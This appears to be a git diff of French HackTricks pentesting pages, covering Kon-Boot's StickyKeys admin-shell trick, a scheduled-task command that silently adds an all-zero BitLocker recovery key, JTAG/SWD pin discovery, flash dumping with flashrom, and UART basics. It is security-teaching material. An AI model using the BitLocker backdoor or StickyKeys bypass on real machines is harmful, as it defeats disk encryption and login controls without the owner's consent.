Kon-Boot effectue également l'astuce **StickyKeys** pour que vous puissiez appuyer _**Shift**_ **5 fois pour obtenir une cmd Administrateur**.
|
Kon-Boot effectue également l'astuce **StickyKeys** pour que vous puissiez appuyer _**Shift**_ **5 fois pour obtenir une invite de commande Administrateur**.
|
||||||
|
|
||||||
## **Exécution de Windows**
|
## **Exécution de Windows**
|
||||||
|
|
||||||
|
@ -133,26 +131,22 @@ Enfin, vous pourriez amener l'utilisateur à ajouter un nouveau mot de passe de
|
||||||
```bash
|
```bash
|
||||||
schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f
|
schtasks /create /SC ONLOGON /tr "c:/windows/system32/manage-bde.exe -protectors -add c: -rp 000000-000000-000000-000000-000000-000000-000000-000000" /tn tarea /RU SYSTEM /f
|
||||||
```
|
```
|
||||||
```markdown
|
|
||||||
Cela ajoutera une nouvelle clé de récupération (composée de 48 zéros) lors de la prochaine connexion.
|
Cela ajoutera une nouvelle clé de récupération (composée de 48 zéros) lors de la prochaine connexion.
|
||||||
|
|
||||||
Pour vérifier les clés de récupération valides, vous pouvez exécuter :
|
Pour vérifier les clés de récupération valides, vous pouvez exécuter :
|
||||||
```
|
```
|
||||||
```
|
|
||||||
manage-bde -protectors -get c:
|
manage-bde -protectors -get c:
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Vous travaillez dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de hacking en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,16 +1,14 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -19,49 +17,62 @@
|
||||||
|
|
||||||
# JTAG
|
# JTAG
|
||||||
|
|
||||||
JTAG permet d'effectuer un balayage de frontière. Le balayage de frontière analyse certains circuits, y compris les cellules et les registres de balayage de frontière intégrés pour chaque broche.
|
JTAG permet d'effectuer un scan de limite. Le scan de limite analyse certains circuits, y compris les cellules et registres de scan de limite intégrés pour chaque broche.
|
||||||
|
|
||||||
La norme JTAG définit des **commandes spécifiques pour effectuer des balayages de frontière**, notamment les suivantes :
|
La norme JTAG définit **des commandes spécifiques pour réaliser des scans de limite**, y compris les suivantes :
|
||||||
|
|
||||||
* **BYPASS** vous permet de tester une puce spécifique sans la surcharge de passer par d'autres puces.
|
* **BYPASS** permet de tester un circuit spécifique sans la surcharge de passer par d'autres circuits.
|
||||||
* **SAMPLE/PRELOAD** prend un échantillon des données entrant et sortant du dispositif lorsqu'il est en mode de fonctionnement normal.
|
* **SAMPLE/PRELOAD** prend un échantillon des données entrant et sortant de l'appareil lorsqu'il est en mode de fonctionnement normal.
|
||||||
* **EXTEST** définit et lit les états des broches.
|
* **EXTEST** définit et lit les états des broches.
|
||||||
|
|
||||||
Il peut également prendre en charge d'autres commandes telles que :
|
Il peut également prendre en charge d'autres commandes telles que :
|
||||||
|
|
||||||
* **IDCODE** pour identifier un dispositif
|
* **IDCODE** pour identifier un appareil
|
||||||
* **INTEST** pour le test interne du dispositif
|
* **INTEST** pour le test interne de l'appareil
|
||||||
|
|
||||||
Vous pourriez rencontrer ces instructions lorsque vous utilisez un outil comme le JTAGulator.
|
Vous pourriez rencontrer ces instructions lorsque vous utilisez un outil comme le JTAGulator.
|
||||||
|
|
||||||
## Le port d'accès de test
|
## Le port d'accès au test
|
||||||
|
|
||||||
Les balayages de frontière comprennent des tests des quatre fils du **port d'accès de test (TAP)**, un port général qui fournit **l'accès aux fonctions de support de test JTAG** intégrées à un composant. TAP utilise les cinq signaux suivants :
|
Les scans de limite incluent des tests du port à quatre fils **Test Access Port (TAP)**, un port polyvalent qui fournit **l'accès aux fonctions de support de test JTAG** intégrées dans un composant. Le TAP utilise les cinq signaux suivants :
|
||||||
|
|
||||||
* Entrée d'horloge de test (**TCK**) Le TCK est l'**horloge** qui définit à quelle fréquence le contrôleur TAP prendra une seule action (en d'autres termes, sautera à l'état suivant dans la machine à états).
|
* Entrée d'horloge de test (**TCK**) Le TCK est l'**horloge** qui définit la fréquence à laquelle le contrôleur TAP prendra une action unique (en d'autres termes, passer à l'état suivant dans la machine à états).
|
||||||
* Sélection de mode de test (**TMS**) L'entrée TMS contrôle la **machine à états finis**. À chaque battement de l'horloge, le contrôleur TAP JTAG du dispositif vérifie la tension sur la broche TMS. Si la tension est inférieure à un certain seuil, le signal est considéré comme faible et interprété comme 0, tandis que si la tension est supérieure à un certain seuil, le signal est considéré comme élevé et interprété comme 1.
|
* Entrée de sélection de mode de test (**TMS**) TMS contrôle la **machine à états finis**. À chaque battement de l'horloge, le contrôleur TAP JTAG de l'appareil vérifie la tension sur la broche TMS. Si la tension est en dessous d'un certain seuil, le signal est considéré comme bas et interprété comme 0, tandis que si la tension est au-dessus d'un certain seuil, le signal est considéré comme haut et interprété comme 1.
|
||||||
* Entrée de données de test (**TDI**) TDI est la broche qui envoie **des données dans la puce par les cellules de balayage**. Chaque fournisseur est responsable de la définition du protocole de communication sur cette broche, car JTAG ne le définit pas.
|
* Entrée de données de test (**TDI**) TDI est la broche qui envoie **les données dans la puce à travers les cellules de scan**. Chaque fournisseur est responsable de la définition du protocole de communication sur cette broche, car JTAG ne le définit pas.
|
||||||
* Sortie de données de test (**TDO**) TDO est la broche qui envoie **des données hors de la puce**.
|
* Sortie de données de test (**TDO**) TDO est la broche qui envoie **les données hors de la puce**.
|
||||||
* Réinitialisation de test (**TRST**) entrée La réinitialisation TRST facultative réinitialise la machine à états finis **à un état connu et bon**. Alternativement, si le TMS est maintenu à 1 pendant cinq cycles d'horloge consécutifs, il invoque une réinitialisation, de la même manière que la broche TRST, c'est pourquoi TRST est facultatif.
|
* Entrée de réinitialisation de test (**TRST**) Le TRST optionnel réinitialise la machine à états finis **à un état connu comme bon**. Alternativement, si le TMS est maintenu à 1 pendant cinq cycles d'horloge consécutifs, il invoque une réinitialisation, de la même manière que la broche TRST le ferait, c'est pourquoi TRST est optionnel.
|
||||||
|
|
||||||
Parfois, vous pourrez trouver ces broches marquées sur le PCB. Dans d'autres occasions, vous devrez les **trouver**.
|
Parfois, vous pourrez trouver ces broches marquées sur le PCB. Dans d'autres cas, vous pourriez avoir besoin de **les trouver**.
|
||||||
|
|
||||||
## Identification des broches JTAG
|
## Identifier les broches JTAG
|
||||||
|
|
||||||
Le moyen le plus rapide mais le plus coûteux de détecter les ports JTAG consiste à utiliser le **JTAGulator**, un dispositif créé spécifiquement à cet effet (bien qu'il puisse également **détecter les configurations de broches UART**).
|
La manière la plus rapide mais la plus coûteuse de détecter les ports JTAG est d'utiliser le **JTAGulator**, un appareil créé spécifiquement à cet effet (bien qu'il puisse **également détecter les brochages UART**).
|
||||||
|
|
||||||
Il dispose de **24 canaux** auxquels vous pouvez connecter les broches de la carte. Ensuite, il effectue une **attaque BF** de toutes les combinaisons possibles en envoyant des commandes de balayage de frontière **IDCODE** et **BYPASS**. S'il reçoit une réponse, il affiche le canal correspondant à chaque signal JTAG.
|
Il dispose de **24 canaux** que vous pouvez connecter aux broches des cartes. Ensuite, il effectue une **attaque BF** de toutes les combinaisons possibles en envoyant des commandes de scan de limite **IDCODE** et **BYPASS**. S'il reçoit une réponse, il affiche le canal correspondant à chaque signal JTAG
|
||||||
|
|
||||||
Un moyen moins cher mais beaucoup plus lent d'identifier les configurations de broches JTAG consiste à utiliser le [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) chargé sur un microcontrôleur compatible Arduino.
|
Une manière moins chère mais beaucoup plus lente d'identifier les brochages JTAG est d'utiliser [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) chargé sur un microcontrôleur compatible Arduino.
|
||||||
|
|
||||||
En utilisant **JTAGenum**, vous devriez d'abord **définir les broches de la sonde** que vous utiliserez pour l'énumération. Vous devrez vous référer au diagramme de brochage du dispositif, puis connecter ces broches aux points de test sur votre dispositif cible.
|
En utilisant **JTAGenum**, vous devriez d'abord **définir les broches de l'appareil de sondage** que vous utiliserez pour l'énumération. Vous devriez vous référer au schéma de brochage de l'appareil, puis connecter ces broches aux points de test de votre appareil cible.
|
||||||
|
|
||||||
Un **troisième moyen** d'identifier les broches JTAG consiste à **inspecter le PCB** pour l'une des configurations de broches. Dans certains cas, les PCB peuvent fournir commodément l'interface **Tag-Connect**, ce qui est une indication claire que la carte a un connecteur JTAG. Vous pouvez voir à quoi ressemble cette interface sur [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). De plus, l'inspection des **fiches techniques des chipsets sur le PCB** peut révéler des diagrammes de brochage qui pointent vers des interfaces JTAG.
|
Une **troisième manière** d'identifier les broches JTAG est d'**inspecter le PCB** pour l'un des brochages. Dans certains cas, les PCB pourraient commodément fournir l'**interface Tag-Connect**, ce qui est une indication claire que la carte a également un connecteur JTAG. Vous pouvez voir à quoi ressemble cette interface sur [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). De plus, l'inspection des **fiches techniques des chipsets sur le PCB** pourrait révéler des schémas de brochage qui indiquent des interfaces JTAG.
|
||||||
|
|
||||||
# SDW
|
# SDW
|
||||||
|
|
||||||
SWD est un protocole spécifique à ARM conçu pour le débogage.
|
SWD est un protocole spécifique à ARM conçu pour le débogage.
|
||||||
|
|
||||||
L'interface SWD nécessite **deux broches** : un signal bidirectionnel **SWDIO**, qui est l'équivalent des broches **TDI et TDO de JTAG et une horloge**, et **SWCLK**, qui est l'équivalent de **TCK** dans JTAG. De nombreux dispositifs prennent en charge le **port de débogage série ou JTAG (SWJ-DP)**, une interface JTAG et SWD combinée qui vous permet de connecter une sonde SWD ou JTAG à la cible.
|
L'interface SWD nécessite **deux broches** : un signal bidirectionnel **SWDIO**, qui est l'équivalent des broches **TDI et TDO de JTAG et une horloge**, et **SWCLK**, qui est l'équivalent de **TCK** dans JTAG. De nombreux appareils prennent en charge le **Serial Wire or JTAG Debug Port (SWJ-DP)**, une interface JTAG et SWD combinée qui vous permet de connecter soit une sonde SWD soit une sonde JTAG à la cible.
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,33 +1,31 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de cybersécurité? Voulez-vous voir votre entreprise annoncée dans HackTricks? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection d'exclusivités [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Informations de base
|
# Informations de base
|
||||||
|
|
||||||
# Dump Flash
|
# Extraire Flash
|
||||||
|
|
||||||
## Bus Pirate + flashrom
|
## Bus Pirate + flashrom
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (201).png>)
|
![](<../../.gitbook/assets/image (201).png>)
|
||||||
|
|
||||||
Notez que même si le PINOUT du Pirate Bus indique des broches pour **MOSI** et **MISO** à connecter à SPI, certains SPI peuvent indiquer des broches comme DI et DO. **MOSI -> DI, MISO -> DO**
|
Notez que même si le PINOUT du Bus Pirate indique des broches pour **MOSI** et **MISO** à connecter à SPI, certains SPI peuvent indiquer des broches comme DI et DO. **MOSI -> DI, MISO -> DO**
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (648) (1) (1).png>)
|
![](<../../.gitbook/assets/image (648) (1) (1).png>)
|
||||||
|
|
||||||
Sous Windows ou Linux, vous pouvez utiliser le programme [**`flashrom`**](https://www.flashrom.org/Flashrom) pour extraire le contenu de la mémoire flash en exécutant quelque chose comme:
|
Sous Windows ou Linux, vous pouvez utiliser le programme [**`flashrom`**](https://www.flashrom.org/Flashrom) pour extraire le contenu de la mémoire flash en exécutant quelque chose comme :
|
||||||
```bash
|
```bash
|
||||||
# In this command we are indicating:
|
# In this command we are indicating:
|
||||||
# -VV Verbose
|
# -VV Verbose
|
||||||
|
@ -38,16 +36,14 @@ flashrom -VV -c "W25Q64.V" -p buspirate_spi:dev=COM3 -r flash_content.img
|
||||||
```
|
```
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
- Travaillez-vous dans une entreprise de **cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,37 +1,52 @@
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Autres moyens de soutenir HackTricks :
|
||||||
|
|
||||||
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||||
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||||
|
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
|
||||||
# Informations de base
|
# Informations de base
|
||||||
|
|
||||||
UART est un protocole série, ce qui signifie qu'il transfère des données entre les composants un bit à la fois. En revanche, les protocoles de communication parallèles transmettent des données simultanément via plusieurs canaux. Les protocoles série courants comprennent RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express et USB.
|
UART est un protocole série, ce qui signifie qu'il transfère les données entre les composants un bit à la fois. En contraste, les protocoles de communication parallèles transmettent les données simultanément à travers de multiples canaux. Les protocoles séries communs incluent RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express et USB.
|
||||||
|
|
||||||
Généralement, la ligne est maintenue haute (à une valeur logique 1) pendant que UART est à l'état inactif. Ensuite, pour signaler le début d'un transfert de données, l'émetteur envoie un bit de départ au récepteur, pendant lequel le signal est maintenu bas (à une valeur logique 0). Ensuite, l'émetteur envoie cinq à huit bits de données contenant le message réel, suivis d'un bit de parité facultatif et d'un ou deux bits d'arrêt (avec une valeur logique 1), selon la configuration. Le bit de parité, utilisé pour la vérification des erreurs, est rarement vu en pratique. Le bit d'arrêt (ou les bits) signifient la fin de la transmission.
|
Généralement, la ligne est maintenue haute (à une valeur logique de 1) lorsque UART est en état d'inactivité. Ensuite, pour signaler le début d'un transfert de données, l'émetteur envoie un bit de départ au récepteur, pendant lequel le signal est maintenu bas (à une valeur logique de 0). Après, l'émetteur envoie de cinq à huit bits de données contenant le message réel, suivi d'un bit de parité optionnel et d'un ou deux bits d'arrêt (avec une valeur logique de 1), selon la configuration. Le bit de parité, utilisé pour la vérification d'erreur, est rarement vu en pratique. Le bit d'arrêt (ou les bits) signifie la fin de la transmission.
|
||||||
|
|
||||||
Nous appelons la configuration la plus courante 8N1 : huit bits de données, pas de parité et un bit d'arrêt. Par exemple, si nous voulions envoyer le caractère C, ou 0x43 en ASCII, dans une configuration UART 8N1, nous enverrions les bits suivants : 0 (le bit de départ) ; 0, 1, 0, 0, 0, 0, 1, 1 (la valeur de 0x43 en binaire), et 0 (le bit d'arrêt).
|
Nous appelons la configuration la plus commune 8N1 : huit bits de données, pas de parité et un bit d'arrêt. Par exemple, si nous voulions envoyer le caractère C, ou 0x43 en ASCII, dans une configuration UART 8N1, nous enverrions les bits suivants : 0 (le bit de départ) ; 0, 1, 0, 0, 0, 0, 1, 1 (la valeur de 0x43 en binaire), et 1 (le bit d'arrêt).
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>)
|
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>)
|
||||||
|
|
||||||
Outils matériels pour communiquer avec UART :
|
Outils matériels pour communiquer avec UART :
|
||||||
|
|
||||||
* Adaptateur USB vers série
|
* Adaptateur USB-vers-série
|
||||||
* Adaptateurs avec les puces CP2102 ou PL2303
|
* Adaptateurs avec les puces CP2102 ou PL2303
|
||||||
* Outil polyvalent tel que : Bus Pirate, Adafruit FT232H, Shikra ou Attify Badge
|
* Outil polyvalent tel que : Bus Pirate, l'Adafruit FT232H, le Shikra, ou le Badge Attify
|
||||||
|
|
||||||
## Identification des ports UART
|
## Identification des ports UART
|
||||||
|
|
||||||
UART a 4 ports : **TX** (Transmettre), **RX** (Recevoir), **Vcc** (Tension) et **GND** (Masse). Vous pourriez être en mesure de trouver 4 ports avec les lettres **`TX`** et **`RX`** **écrites** sur le PCB. Mais s'il n'y a pas d'indication, vous devrez peut-être essayer de les trouver vous-même à l'aide d'un **multimètre** ou d'un **analyseur logique**.
|
UART a 4 ports : **TX**(Transmettre), **RX**(Recevoir), **Vcc**(Voltage), et **GND**(Masse). Vous pourriez être capable de trouver 4 ports avec les lettres **`TX`** et **`RX`** **écrites** sur le PCB. Mais s'il n'y a pas d'indication, vous pourriez avoir besoin de les trouver vous-même en utilisant un **multimètre** ou un **analyseur logique**.
|
||||||
|
|
||||||
Avec un **multimètre** et l'appareil éteint :
|
Avec un **multimètre** et l'appareil éteint :
|
||||||
|
|
||||||
* Pour identifier la broche **GND**, utilisez le mode **Test de continuité**, placez la sonde arrière dans la masse et testez avec la sonde rouge jusqu'à ce que vous entendiez un son provenant du multimètre. Plusieurs broches GND peuvent être trouvées sur le PCB, vous avez donc peut-être trouvé ou non celle appartenant à UART.
|
